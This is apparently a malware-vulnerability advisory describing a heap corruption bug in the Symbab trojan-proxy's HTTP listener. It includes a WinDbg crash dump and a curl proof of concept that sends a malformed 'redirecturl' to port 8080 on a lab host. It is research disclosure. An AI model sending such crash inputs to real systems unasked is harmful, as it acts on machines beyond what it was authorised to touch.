Trojan-Proxy.Win32.Symbab.o malware suffers from a heap corruption vulnerability.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/bffc519fbaf2d119bd307cd22368cdc7.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan-Proxy.Win32.Symbab.o
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 8080. Attackers who can reach an infected system can send a corrupt HTTP request for the "redirecturl" parameter causing a heap corruption.
Family: Symbab
Type: PE32
MD5: bffc519fbaf2d119bd307cd22368cdc7
Vuln ID: MVID-2022-0610
Disclosure: 06/06/2022
Memory Dump:
(670.1e5c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=049fff48 edx=00000290 esi=00000003 edi=00000003
eip=7770ed3c esp=049fb564 ebp=049fb6f4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14h
0:007> .ecxr
eax=00000290 ebx=000002d8 ecx=049fff48 edx=00000290 esi=00450000 edi=00000000
eip=776df2e1 esp=049fbea0 ebp=049fbee0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
ntdll!RtlFreeHeap+0xa1:
776df2e1 8078ff05 cmp byte ptr [eax-1],5 ds:002b:0000028f=??
0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
*** ERROR: Module load completed but symbols could not be loaded for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
FAULTING_IP:
ntdll!RtlFreeHeap+a1
776df2e1 8078ff05 cmp byte ptr [eax-1],5
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 776df2e1 (ntdll!RtlFreeHeap+0x000000a1)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0000028f
Attempt to read from address 0000028f
PROCESS_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 0000028f
READ_ADDRESS: 0000028f
FOLLOWUP_IP:
Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c
004a260c 83c404 add esp,4
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001e5c
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument
LAST_CONTROL_TRANSFER: from 744d7065 to 776df2e1
STACK_TEXT:
049fbee0 744d7065 00450000 00000000 00000290 ntdll!RtlFreeHeap+0xa1
049fbf2c 004a260c 00000290 049fff68 004a434a msvcrt!free+0x65
WARNING: Stack unwind information not available. Following frames may be wrong.
049fbf38 004a434a 049fff48 50545448 312e312f Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x260c
049fff68 004a43d7 00000290 00000290 00000004 Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x434a
049fff80 77408654 000002d8 77408630 42500cba Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x43d7
049fff94 77704a77 000002d8 37e18a47 00000000 kernel32!BaseThreadInitThunk+0x24
049fffdc 77704a47 ffffffff 77729eca 00000000 ntdll!__RtlUserThreadStart+0x2f
049fffec 00000000 004a438c 000002d8 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: !heap ; ~7s; .ecxr ; kb
SYMBOL_STACK_INDEX: 2
SYMBOL_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7
IMAGE_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
DEBUG_FLR_IMAGE_TIMESTAMP: 4168069f
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_c0000005_Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e!Unknown
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c
Followup: MachineOwner
Exploit/PoC:
curl "http://192.168.18.125:8080/?redirecturl=http://0x41414141" -v
Connected to 192.168.18.125 (192.168.18.125) port 8080 (#0)
GET /?redirecturl=http://0x41414141 HTTP/1.1
Host: 192.168.18.125:8080
User-Agent: curl/7.47.1
Accept: */*
HTTP 1.0, assume close after body
HTTP/1.0 400 Bad Request
Server: ProxyServer/0.0.1
Mime-Version: 1.0
Date: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Content-Length: 24
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Squid-Error: ERR_INVALID_URL 0
X-Cache: MISS from www.rambler.ru
Connection: close
Unsupported protocol
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